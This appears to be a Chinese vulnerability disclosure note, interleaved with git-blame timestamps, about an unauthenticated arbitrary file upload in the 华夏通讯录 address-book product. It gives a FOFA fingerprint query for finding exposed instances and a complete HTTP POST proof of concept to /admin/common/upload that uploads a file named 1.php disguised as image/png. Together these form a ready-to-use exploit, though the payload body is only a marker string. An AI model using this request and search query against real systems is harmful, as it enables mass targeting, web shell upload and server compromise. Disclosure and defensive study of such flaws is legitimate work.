2025-03-06 16:39:36 +08:00
|
|
|
# 华夏通讯录存在前台upload任意文件上传
|
2025-03-06 16:35:02 +08:00
|
|
|
|
2025-03-06 16:39:36 +08:00
|
|
|
华夏通讯录存在前台由于在鉴权方面存在疏漏,导致了可未授权访问,从而通过/admin/common/upload接口进行任意文件上传。
|
2025-03-06 16:35:31 +08:00
|
|
|
|
2025-03-06 16:37:33 +08:00
|
|
|
## fofa
|
2025-03-06 16:35:31 +08:00
|
|
|
|
2025-03-06 16:37:33 +08:00
|
|
|
```javascript
|
2025-03-06 16:39:36 +08:00
|
|
|
icon_hash="1403225079" && ":) APPV1"
|
2025-03-06 16:35:31 +08:00
|
|
|
```
|
2025-03-06 16:37:33 +08:00
|
|
|
|
|
|
|
## poc
|
|
|
|
|
|
|
|
```javascript
|
2025-03-06 16:46:07 +08:00
|
|
|
POST /admin/common/upload HTTP/2
|
|
|
|
Host: 127.0.0.1
|
|
|
|
Content-Type: multipart/form-data; boundary=---------------------------289666258334735365651210512949
|
|
|
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:127.0) Gecko/20100101 Firefox/127.0
|
|
|
|
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
|
|
|
Accept-Encoding: gzip, deflate
|
|
|
|
X-Requested-With: XMLHttpRequest
|
|
|
|
Content-Length: 218
|
|
|
|
|
|
|
|
-----------------------------289666258334735365651210512949
|
2025-03-06 16:39:36 +08:00
|
|
|
Content-Disposition: form-data; name="file"; filename="1.php"
|
2025-03-06 16:46:07 +08:00
|
|
|
Content-Type: image/png
|
2025-03-06 16:37:33 +08:00
|
|
|
|
2025-03-06 16:46:07 +08:00
|
|
|
1111
|
|
|
|
-----------------------------289666258334735365651210512949--
|
2025-03-06 16:39:36 +08:00
|
|
|
```
|
2025-03-06 16:46:07 +08:00
|
|
|
路径返回包中
|
|
|
|

|
|
|
|
|